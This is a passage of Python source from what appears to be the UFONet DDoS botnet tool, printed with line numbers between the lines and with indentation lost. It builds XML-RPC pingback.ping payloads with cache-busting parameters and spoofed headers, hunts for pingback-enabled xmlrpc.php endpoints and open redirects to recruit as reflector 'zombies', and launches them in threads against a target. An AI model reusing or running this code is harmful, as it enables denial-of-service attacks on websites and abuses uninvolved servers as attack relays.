self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4661
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
4662
key = random_key(8) # generate random value page to bypass cache
4663
rpc_page = "?" + str(key)
4664
key = random_key(6) # re-generate random value id to bypass cache
4665
rpc_id = "=" + str(key)
4666
target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
4667
if "/xmlrpc.php" in rpc:
4668
rpc_place = rpc.replace("xmlrpc.php", "")
4669
rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
4670
try:
4671
if options.proxy: # set proxy
4672
self.proxy_transport(options.proxy)
4673
if self.options.timeout: # set timeout
4674
try:
4675
rpc_timeout = int(self.options.timeout)
4676
except:
4677
rpc_timeout = 5
4678
else:
4679
rpc_timeout = 5
4680
if rpc_timeout < 1:
4681
rpc_timeout = 5
4682
req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
4683
urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
4684
self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
4685
if self.options.verbose:
4686
print("[Info] [X-RPCs] Reply:", target_reply)
4687
except:
4688
print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
4689
self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
4690
if not self.options.disablepurge:
4691
self.discard_rpcs.append(rpc)
4692
self.num_discard_rpcs = self.num_discard_rpcs + 1
4693
else:
4694
print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
4695
self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
4696
if not self.options.disablepurge:
4697
self.discard_rpcs.append(rpc)
4698
self.num_discard_rpcs = self.num_discard_rpcs + 1
4699
if self.options.verbose:
4700
print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
4701
if self.options.disableucavs:
4702
self.extra_zombies_lock = False # [ARMY] have finished
4703
4704
def extract_rpcs(self):
4705
# extract rpcs from file
4706
options = self.options
4707
try:
4708
f = open(self.rpcs_file)
4709
rpcs = f.readlines()
4710
rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
4711
rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
4712
f.close()
4713
if not rpcs:
4714
print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
4715
self.options.disablerpcs = True
4716
return
4717
else:
4718
return rpcs
4719
except:
4720
if os.path.exists(self.rpcs_file) == True:
4721
print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
4722
return
4723
else:
4724
print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
4725
return
4726
4727
def extract_ntps(self):
4728
# extract ntps from file
4729
options = self.options
4730
try:
4731
f = open(self.ntps_file)
4732
ntps = f.readlines()
4733
ntps = [ ntp.replace('\r','') for ntp in ntps ]
4734
ntps = [ ntp.replace('\n','') for ntp in ntps ]
4735
f.close()
4736
if not ntps:
4737
print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
4738
return
4739
else:
4740
return ntps
4741
except:
4742
if os.path.exists(self.ntps_file) == True:
4743
print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
4744
return
4745
else:
4746
print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
4747
return
4748
4749
def extract_dnss(self):
4750
# extract dnss from file
4751
options = self.options
4752
try:
4753
f = open(self.dnss_file)
4754
dnss = f.readlines()
4755
dnss = [ dns.replace('\r','') for dns in dnss ]
4756
dnss = [ dns.replace('\n','') for dns in dnss ]
4757
f.close()
4758
if not dnss:
4759
print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
4760
return
4761
else:
4762
return dnss
4763
except:
4764
if os.path.exists(self.dnss_file) == True:
4765
print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
4766
return
4767
else:
4768
print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
4769
return
4770
4771
def extract_snmps(self):
4772
# extract snmps from file
4773
options = self.options
4774
try:
4775
f = open(self.snmps_file)
4776
snmps = f.readlines()
4777
snmps = [ snmp.replace('\r','') for snmp in snmps ]
4778
snmps = [ snmp.replace('\n','') for snmp in snmps ]
4779
f.close()
4780
if not snmps:
4781
print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
4782
return
4783
else:
4784
return snmps
4785
except:
4786
if os.path.exists(self.snmps_file) == True:
4787
print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
4788
return
4789
else:
4790
print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
4791
return
4792
4793
def extract_zombies(self):
4794
options = self.options
4795
if self.options.test:
4796
try:
4797
f = open(options.test)
4798
zombies = f.readlines()
4799
zombies = [ zombie.replace('\n','') for zombie in zombies ]
4800
f.close()
4801
if not zombies:
4802
print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
4803
return
4804
else:
4805
return zombies
4806
except:
4807
if os.path.exists(options.test) == True:
4808
print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
4809
return #sys.exit(2)
4810
else:
4811
print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
4812
return #sys.exit(2)
4813
else:
4814
try:
4815
f = open(self.zombies_file)
4816
zombies = f.readlines()
4817
zombies = [ zombie.replace('\n','') for zombie in zombies ]
4818
f.close()
4819
if not zombies:
4820
print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
4821
return
4822
else:
4823
return zombies
4824
except:
4825
if os.path.exists(self.zombies_file) == True:
4826
print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
4827
return #sys.exit(2)
4828
else:
4829
print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
4830
return #sys.exit(2)
4831
4832
def extract_target_list(self):
4833
options = self.options
4834
try:
4835
f = open(options.target_list)
4836
targets = f.readlines()
4837
targets = [ target.replace('\n','') for target in targets ]
4838
f.close()
4839
if not targets:
4840
print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
4841
return
4842
else:
4843
return targets
4844
except:
4845
if os.path.exists(options.target_list) == True:
4846
print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
4847
return #sys.exit(2)
4848
else:
4849
print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
4850
return #sys.exit(2)
4851
4852
def update_zombies(self, zombies_ready):
4853
# update zombies on file
4854
options = self.options
4855
if options.attackme:
4856
f = open(self.zombies_file, "w") # re-write list
4857
for zombie in self.doll.real_zombies: # add only alien verified zombies
4858
for x in zombie:
4859
f.write(str(x) + os.linesep)
4860
f.close()
4861
if options.test or options.testall:
4862
if not options.test:
4863
options.test = self.zombies_file
4864
f = open(options.test, "w") # re-write list only with zombies ready
4865
for zombie in zombies_ready:
4866
f.write(zombie + os.linesep)
4867
f.close()
4868
if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes: # append only new zombies to list (dorking supported)
4869
f = open(self.zombies_file)
4870
zombies_on_file = f.read().splitlines()
4871
with open(self.zombies_file, "a") as zombie_list:
4872
for zombie in zombies_ready:
4873
if zombie not in zombies_on_file: # parse possible repetitions
4874
zombie_list.write(zombie + os.linesep)
4875
if options.download or options.download_github or options.download_nodes:
4876
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4877
else:
4878
self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
4879
f.close()
4880
4881
def update_aliens(self, aliens_ready):
4882
# update aliens on file
4883
options = self.options
4884
if options.download or options.download_github or options.download_nodes: # append only new aliens to list
4885
f = open(self.aliens_file)
4886
aliens_on_file = f.read().splitlines()
4887
with open(self.aliens_file, "a") as alien_list:
4888
for alien in aliens_ready:
4889
if alien not in aliens_on_file: # parse possible repetitions
4890
alien_list.write(alien + os.linesep)
4891
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4892
f.close()
4893
4894
def update_droids(self, droids_ready):
4895
# update droids on file
4896
options = self.options
4897
if options.download or options.download_github or options.download_nodes: # append only new droids to list
4898
f = open(self.droids_file)
4899
droids_on_file = f.read().splitlines()
4900
with open(self.droids_file, "a") as droid_list:
4901
for droid in droids_ready:
4902
if droid not in droids_on_file: # parse possible repetitions
4903
droid_list.write(droid + os.linesep)
4904
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4905
f.close()
4906
4907
def update_ucavs(self, ucavs_ready):
4908
# update ucavs on file
4909
options = self.options
4910
if options.download or options.download_github or options.download_nodes: # append only new ucavs to list
4911
f = open(self.ucavs_file)
4912
ucavs_on_file = f.read().splitlines()
4913
with open(self.ucavs_file, "a") as ucav_list:
4914
for ucav in ucavs_ready:
4915
if ucav not in ucavs_on_file: # parse possible repetitions
4916
ucav_list.write(ucav + os.linesep)
4917
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4918
f.close()
4919
4920
def update_rpcs(self, rpcs_ready):
4921
# update rpcs on file
4922
options = self.options
4923
if options.testrpc or options.testall:
4924
f = open(self.rpcs_file, "w") # re-write list
4925
for rpc in rpcs_ready: # add only rpc verified zombies
4926
f.write(rpc + os.linesep)
4927
f.close()
4928
if options.download or options.download_github or options.download_nodes: # append only new rpcs to list
4929
f = open(self.rpcs_file)
4930
rpcs_on_file = f.read().splitlines()
4931
with open(self.rpcs_file, "a") as rpc_list:
4932
for rpc in rpcs_ready:
4933
if rpc not in rpcs_on_file: # parse possible repetitions
4934
rpc_list.write(rpc + os.linesep)
4935
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4936
f.close()
4937
4938
def update_dnss(self, dnss_ready):
4939
# update dns on file
4940
options = self.options
4941
if options.download or options.download_github or options.download_nodes: # append only new dns to list
4942
f = open(self.dnss_file)
4943
dnss_on_file = f.read().splitlines()
4944
with open(self.dnss_file, "a") as dns_list:
4945
for dns in dnss_ready:
4946
if dns not in dnss_on_file: # parse possible repetitions
4947
dns_list.write(dns + os.linesep)
4948
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4949
f.close()
4950
4951
def update_ntps(self, ntps_ready):
4952
# update ntps on file
4953
options = self.options
4954
if options.download or options.download_github or options.download_nodes: # append only new ntps to list
4955
f = open(self.ntps_file)
4956
ntps_on_file = f.read().splitlines()
4957
with open(self.ntps_file, "a") as ntp_list:
4958
for ntp in ntps_ready:
4959
if ntp not in ntps_on_file: # parse possible repetitions
4960
ntp_list.write(ntp + os.linesep)
4961
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4962
f.close()
4963
4964
def update_snmps(self, snmps_ready):
4965
# update snmps on file
4966
options = self.options
4967
if options.download or options.download_github or options.download_nodes: # append only new snmps to list
4968
f = open(self.snmps_file)
4969
snmps_on_file = f.read().splitlines()
4970
with open(self.snmps_file, "a") as snmp_list:
4971
for snmp in snmps_ready:
4972
if snmp not in snmps_on_file: # parse possible repetitions
4973
snmp_list.write(snmp + os.linesep)
4974
self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
4975
f.close()
4976
4977
def search_rpc(self, rpc_host):
4978
options = self.options
4979
rpc_vulnerable = False
4980
rpc_pingback_url = False
4981
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
4982
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
4983
try:
4984
if self.options.testall: # testing_all
4985
if options.proxy: # set proxy
4986
self.proxy_transport(options.proxy)
4987
req = urllib.request.Request(rpc_host, None, headers)
4988
rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
4989
rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
4990
for link in rpc_links:
4991
if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
4992
rpc_pingback_url = link[0]
4993
rpc_vulnerable = True
4994
break # found it!
4995
else: # not any XML-RPC discovering methods are working
4996
rpc_pingback_url = rpc_host + "/xmlrpc.php"
4997
rpc_vulnerable = False
4998
else:
4999
if rpc_host.startswith("http://"):
5000
rpc_host = rpc_host.replace("http://", "")
5001
if rpc_host.startswith("https://"):
5002
rpc_host = rpc_host.replace("https://", "")
5003
rpc_host = urlparse(rpc_host)
5004
rpc_path = rpc_host.path.replace("\r", "")
5005
self.head = True # send HTTP HEAD request searching for: X-Pingback
5006
reply = self.connect_zombie(rpc_path)
5007
self.head = False
5008
if "X-Pingback" in reply: # discovering pingback-enabled resources
5009
m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
5010
rpc_pingback_url = m.group(1) # extract rpc server url
5011
rpc_vulnerable = True
5012
else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
5013
if options.proxy: # set proxy
5014
self.proxy_transport(options.proxy)
5015
req_rpc = urllib.request.Request(rpc_host, None, headers)
5016
req_rpc.get_method = lambda : 'GET'
5017
rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
5018
rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
5019
for link in rpc_links:
5020
if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
5021
rpc_pingback_url = link[0]
5022
rpc_vulnerable = True
5023
break # found it!
5024
else: # not any XML-RPC discovering methods are working
5025
rpc_pingback_url = rpc_host + "/xmlrpc.php"
5026
rpc_vulnerable = False
5027
except: # something wrong discovering XML-RPC Pingback
5028
pass
5029
return rpc_vulnerable, rpc_pingback_url
5030
5031
def testing_offline(self):
5032
# check for zombies offline
5033
print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
5034
print('='*35)
5035
zombies_online = 0
5036
zombies_offline = 0
5037
zombies = self.extract_zombies()
5038
rpcs = self.extract_rpcs()
5039
aliens = self.extract_aliens()
5040
droids = self.extract_droids()
5041
ucavs = self.extract_ucavs()
5042
try:
5043
botnet = zombies + rpcs + aliens + droids + ucavs
5044
except:
5045
return
5046
discarded = [] # for discarded zombies
5047
if not botnet:
5048
return
5049
self.head = True
5050
for zombie in botnet:
5051
zombie = str(zombie)
5052
if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
5053
zombie_type = 'Zombie'
5054
elif zombie in rpcs:
5055
zombie_type = 'XML-RPC'
5056
elif zombie in aliens:
5057
zombie_type = 'Alien'
5058
elif zombie in droids:
5059
zombie_type = 'Droid'
5060
elif zombie in ucavs:
5061
zombie_type = 'UCAV'
5062
t = urlparse(zombie)
5063
name_zombie = t.netloc
5064
if name_zombie == "":
5065
name_zombie = zombie
5066
if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
5067
sep = ';$POST;'
5068
zombie = zombie.split(sep, 1)[0]
5069
try:
5070
reply = str(self.connect_zombie(zombie))
5071
except:
5072
reply = None
5073
if reply:
5074
if reply == "200" or reply == "301" or reply == "302":
5075
status = "ONLINE! -> [OK!]"
5076
else:
5077
status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
5078
zombies_online = zombies_online + 1
5079
else:
5080
status = "NOT Working!"
5081
zombies_offline = zombies_offline + 1
5082
print("\nName:", name_zombie)
5083
print("Type: [", zombie_type, "]")
5084
print("Vector:", zombie)
5085
print("HTTP Code: [", reply, "]")
5086
print("STATUS:", status)
5087
print('-'*21)
5088
if status == "NOT Working!": # add to discarded zombies
5089
if zombie not in discarded:
5090
discarded.append(zombie)
5091
print("\n" + '='*52)
5092
print("\n+ Total Botnet:", len(botnet))
5093
print("\n" + '-'*25 + "\n")
5094
print(" - ONLINE:", zombies_online)
5095
print(" - OFFLINE:", zombies_offline, "\n")
5096
print('='*52 + '\n')
5097
self.head = False
5098
if zombies_offline > 0:
5099
if not self.options.forceyes:
5100
test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
5101
print('-'*25 + "\n")
5102
else:
5103
test_reply = "Y"
5104
if test_reply == "n" or test_reply == "N":
5105
print("[AI] "+self.exit_msg+"\n")
5106
return
5107
else:
5108
disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
5109
print('='*52)
5110
print("\n - DISCARDED:", disc_zombies)
5111
new_botnet = int(len(botnet) - disc_zombies)
5112
print("\n+ New Total Botnet:", str(new_botnet), "\n")
5113
print('='*52 + '\n')
5114
else:
5115
print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
5116
5117
def send_extra_zombies(self):
5118
# check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
5119
if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
5120
if self.options.verbose:
5121
print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
5122
aliens = [self.extract_aliens()] # extract aliens from file to a list
5123
for a in aliens:
5124
if a is None:
5125
self.options.disablealiens = True
5126
self.total_aliens = 0 # not any alien invoked
5127
else:
5128
for s in a: # extract number of aliens
5129
self.total_aliens = self.total_aliens + 1
5130
al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
5131
al.start()
5132
else:
5133
self.options.disablealiens = True
5134
self.total_aliens = 0 # not any alien invoked
5135
if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
5136
if self.options.verbose:
5137
print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
5138
droids = [self.extract_droids()] # extract droids from file to a list
5139
for d in droids:
5140
if d is None:
5141
self.options.disabledroids = True
5142
self.total_droids = 0 # not any droid invoked
5143
else:
5144
for s in d: # extract number of droids
5145
self.total_droids = self.total_droids + 1
5146
dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
5147
dr.start()
5148
else:
5149
self.options.disabledroids = True
5150
self.total_droids = 0 # not any droid invoked
5151
if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
5152
if self.options.verbose:
5153
print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
5154
rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
5155
for r in rpcs:
5156
if r is None:
5157
self.options.disablerpcs = True
5158
self.total_rpcs = 0 # not any rpc invoked
5159
else:
5160
for s in r: # extract number of rpcs
5161
self.total_rpcs = self.total_rpcs + 1
5162
rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
5163
rp.start()
5164
else:
5165
self.options.disablerpcs = True
5166
self.total_rpcs = 0 # not any rpcs invoked
5167
if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
5168
if self.options.verbose:
5169
print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
5170
ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
5171
for u in ucavs:
5172
if u is None:
5173
self.options.disableucavs = True
5174
self.total_ucavs = 0 # not any ucav invoked
5175
else:
5176
for s in u: # extract number of ucavs
5177
self.total_ucavs = self.total_ucavs + 1
5178
uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
5179
uc.start()
5180
else:
5181
self.options.disableucavs = True
5182
self.total_ucavs = 0 # not any ucavs invoked
5183
5184
def abandoning_zombies(self):
5185
if self.options.expire: # set timing for purge
5186
try:
5187
timing = int(self.options.expire)
5188
except:
5189
timing = self.expire_timing # default timing for purge
5190
else:
5191
timing = self.expire_timing # default timing for purge
5192
if timing < 1:
5193
timing = self.expire_timing # default timing for purge
5194
zombies_arrival_timing = timing # timing = trying to control round time for threading flow
5195
zombies_lock = 0
5196
if self.options.verbose:
5197
print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
5198
while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
5199
zombies_lock = zombies_lock + 1
5200
if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
5201
if self.options.verbose:
5202
print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
5203
break
5204
else:
5205
time.sleep(1)
5206
5207
def discard_zombies(self, discarded):
5208
disc_zombies = 0
5209
if self.options.testoffline:
5210
zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
5211
else:
5212
zombies_list = [self.zombies_file]
5213
if not self.options.disablealiens: # add aliens
5214
zombies_list.append(self.aliens_file)
5215
if not self.options.disabledroids: # add droids
5216
zombies_list.append(self.droids_file)
5217
if not self.options.disablerpcs: # add rpcs
5218
zombies_list.append(self.rpcs_file)
5219
if not self.options.disableucavs: # add ucavs
5220
zombies_list.append(self.ucavs_file)
5221
for l in zombies_list:
5222
f = open(l, "r+")
5223
d = f.readlines()
5224
f.close()
5225
f = open(l, "w")
5226
disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
5227
f.close()
5228
return disc_zombies
5229
5230
def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
5231
m = []
5232
for zombie in d:
5233
if zombie not in discarded == True:
5234
m.append(zombie) # save it
5235
else:
5236
disc_zombies = disc_zombies + 1
5237
if not m:
5238
f.write("")
5239
else:
5240
for z in m:
5241
f.write(z+os.linesep)
5242
return disc_zombies
5243
5244
def parse_url_encoding(self, target):
5245
if not target.startswith("http"):
5246
target = "http://" + target
5247
t = urlparse(target)
5248
host = urllib.parse.quote(t.netloc.encode('utf-8'))
5249
path = urllib.parse.quote(t.path.encode('utf-8'))
5250
query = urllib.parse.quote(t.query.encode('utf-8'))
5251
if query:
5252
if path.endswith(""):
5253
path.replace("", "/")
5254
query = urllib.parse.quote(t.query.encode('utf-8'))
5255
target = t.scheme+"://"+host + path + "?" + query
5256
else:
5257
target = t.scheme+"://"+host + path
5258
return target
5259
5260
def testing_rpcs(self, rpcs):
5261
# discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
5262
# Xoops, PHPGroupWare, TikiWiki, etc...) and update list
5263
options = self.options
5264
if self.options.testall: #testing_all
5265
print('='*51)
5266
print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
5267
print('='*51)
5268
num_active_rpcs = 0
5269
num_failed_rpcs = 0
5270
rpcs_ready = []
5271
print("Trying:", len(rpcs))
5272
print('-'*21)
5273
for rpc in rpcs:
5274
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
5275
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
5276
if rpc.startswith("http://") or rpc.startswith("https://"):
5277
print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
5278
rpc_host = rpc.replace("/xmlrpc.php", "")
5279
rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
5280
if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
5281
rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
5282
try:
5283
if options.proxy: # set proxy
5284
self.proxy_transport(options.proxy)
5285
try:
5286
req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
5287
target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
5288
except:
5289
if DEBUG == True:
5290
traceback.print_exc()
5291
if self.options.verbose:
5292
print("[Info] [X-RPCs] Reply:", target_reply)
5293
if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
5294
print("[Info] [AI] -> [VULNERABLE!]")
5295
rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
5296
num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
5297
else:
5298
print("[Info] [AI] -> [NOT vulnerable...]")
5299
num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
5300
except:
5301
print("[Info] [AI] -> [NOT vulnerable...]")
5302
num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
5303
else:
5304
print("[Info] [AI] -> [NOT vulnerable...]")
5305
num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
5306
print('-'*21)
5307
print('='*18)
5308
print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
5309
print('='*18)
5310
if self.options.testall: # testing_all
5311
return rpcs_ready, num_active_rpcs, num_failed_rpcs
5312
else:
5313
# update 'rpcs' list
5314
if num_active_rpcs == 0:
5315
print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
5316
return
5317
else:
5318
if not self.options.forceyes:
5319
update_reply = input("[AI] Do you want to update your army? (Y/n)")
5320
print('-'*25)
5321
else:
5322
update_reply = "Y"
5323
if update_reply == "n" or update_reply == "N":
5324
print("[AI] "+self.exit_msg+"\n")
5325
return
5326
else:
5327
self.update_rpcs(rpcs_ready)
5328
if not self.options.upload:
5329
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
5330
5331
def testing(self, zombies):
5332
# test Open Redirect exploiting and show statistics
5333
# HTTP HEAD check
5334
army = 0
5335
print ("Are 'they' alive? :-) (HEAD Check):")
5336
print('='*35)
5337
num_active_zombies = 0
5338
num_failed_zombies = 0
5339
active_zombies = []
5340
print("Trying:", len(zombies))
5341
print('-'*21)
5342
for zombie in zombies:
5343
zombie = str(zombie)
5344
if zombie.startswith("http://") or zombie.startswith("https://"):
5345
# send HEAD connection
5346
self.head = True
5347
try:
5348
self.connect_zombies(zombie)
5349
except:
5350
pass
5351
while self.herd.no_more_zombies() == False:
5352
time.sleep(1)
5353
for zombie in self.herd.done:
5354
zombie = str(zombie)
5355
t = urlparse(zombie)
5356
if self.herd.get_result(zombie):
5357
code_reply = self.herd.get_result(zombie)
5358
self.head = False
5359
if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
5360
name_zombie = t.netloc
5361
if name_zombie == "":
5362
name_zombie = zombie
5363
print("Zombie:", name_zombie)
5364
print("Status: OK ["+ code_reply + "]")
5365
num_active_zombies = num_active_zombies + 1
5366
active_zombies.append(zombie)
5367
elif code_reply == "401":
5368
print("Zombie:", t.netloc)
5369
print("Status: Unauthorized ["+ code_reply + "]")
5370
num_failed_zombies = num_failed_zombies + 1
5371
elif code_reply == "403":
5372
print("Zombie:", t.netloc)
5373
print("Status: Error Forbidden ["+ code_reply + "]")
5374
num_failed_zombies = num_failed_zombies + 1
5375
elif code_reply == "404":
5376
print("Zombie:", t.netloc)
5377
print("Status: Not Found ["+ code_reply + "]")
5378
num_failed_zombies = num_failed_zombies + 1
5379
elif code_reply == "500":
5380
print("Zombie:", t.netloc)
5381
print("Status: Internal Server Error ["+ code_reply + "]")
5382
num_failed_zombies = num_failed_zombies + 1
5383
else:
5384
print("Zombie:", t.netloc, "\nVector:", zombie)
5385
print("Status: Not Allowed ["+ code_reply + "]")
5386
num_failed_zombies = num_failed_zombies + 1
5387
else:
5388
if self.options.verbose:
5389
print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
5390
print("Zombie:", zombie)
5391
print("Status: Malformed!")
5392
num_failed_zombies = num_failed_zombies + 1
5393
print('-'*10)
5394
self.herd.reset()
5395
print('='*18)
5396
print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
5397
print('='*18 + "\n")
5398
print('='*22)
5399
if num_active_zombies > 0:
5400
# check url parameter vectors
5401
print ("Checking for payloads:")
5402
print('='*22)
5403
print("Trying:", num_active_zombies)
5404
print('-'*21)
5405
zombies_ready = []
5406
num_waiting_zombies = 0
5407
if num_active_zombies == 0:
5408
num_disconnected_zombies = num_failed_zombies
5409
else:
5410
num_disconnected_zombies = 0
5411
for zombie in active_zombies:
5412
zombie = str(zombie)
5413
t = urlparse(zombie)
5414
name_zombie = t.netloc
5415
if name_zombie == "":
5416
name_zombie = zombie
5417
self.payload = True
5418
try:
5419
self.connect_zombies(zombie)
5420
except:
5421
pass
5422
self.payload = False
5423
while self.herd.no_more_zombies() == False:
5424
time.sleep(1)
5425
for zombie in self.herd.done:
5426
zombie = str(zombie)
5427
t = urlparse(zombie)
5428
name_zombie = t.netloc
5429
if name_zombie == "":
5430
name_zombie = zombie
5431
payload_zombie = zombie
5432
payload_reply = ""
5433
print("Vector:", payload_zombie)
5434
self.payload = True
5435
if self.herd.get_result(zombie):
5436
payload_reply = self.herd.get_result(zombie)
5437
self.payload = False
5438
if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
5439
num_waiting_zombies = num_waiting_zombies + 1
5440
print("Status:", "Awaiting for orders... ;-)")
5441
zombies_ready.append(zombie)
5442
else:
5443
num_disconnected_zombies = num_disconnected_zombies + 1
5444
print("Status:", "Not ready...")
5445
army = army + 1
5446
print('-'*10)
5447
self.herd.reset()
5448
print('='*18)
5449
print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
5450
print('='*18 + "\n")
